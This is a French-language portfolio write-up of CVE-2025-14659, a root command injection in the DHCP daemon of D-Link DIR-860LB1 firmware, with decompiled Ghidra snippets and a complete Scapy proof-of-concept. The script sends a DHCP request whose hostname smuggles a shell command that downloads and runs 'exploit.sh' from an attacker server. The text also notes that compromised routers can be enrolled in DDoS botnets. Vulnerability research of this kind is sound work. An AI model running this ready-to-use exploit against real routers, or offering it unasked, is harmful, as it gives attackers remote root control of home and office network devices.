
Analyse statique (Ghidra) et création de paquets personnalisés (Scapy) démontrant une vulnérabilité d'injection de commandes DHCP au niveau root (CVE-2025-14659) dans le firmware D-Link
Auteur : Peter Lin
Date : Mai 2026
Présentation du projet : CVE-2025-14659 a signalé une vulnérabilité d'injection de commandes ciblant le composant démon DHCP présent dans le routeur sans fil D-Link DIR-860LB1 exécutant le firmware v203b03. Cette injection de commandes pourrait permettre à un attaquant d'exécuter des commandes arbitraires avec les privilèges root sur ce routeur cible lorsqu'un client DHCP renouvelle un bail existant avec un nom d'hôte malveillant. Je vais extraire le firmware de l'appareil DIR-860LB1 et identifier la faille présente dans le démon DHCP (udhcpd) par analyse statique à l'aide de Ghidra. J'utiliserai ensuite un moteur d'émulation comme FirmAE pour émuler l'environnement de ce routeur, démontrant ainsi une attaque de preuve de concept contre cette cible.
udhcpd (Démon DHCP)En examinant la fonction udhcpd_main dans Ghidra, la vulnérabilité se situe directement dans le bloc case 3 (DHCPREQUEST) :
get_option(auStack_254, 0xc).sprintf() :
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system() sans assainir les caractères shell :
system(acStack_454);
Étant donné que le démon s'exécute en tant que root, l'ajout de métacaractères shell (comme ; ou |) dans le nom d'hôte permet à un attaquant d'exécuter des commandes système arbitraires.
cve_poc.py)Ce script fonctionnel Scapy simule un client malveillant demandant un renouvellement de bail avec une charge utile de nom d'hôte injectée :
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
Si elle est exploitée en conditions réelles, un attaquant peut utiliser cette vulnérabilité pour :
/tmp) afin d'enrôler le matériel dans des réseaux DDoS.Avertissement : Ce projet est créé strictement à des fins éducatives, de constitution de portfolio et de recherche en sécurité défensive.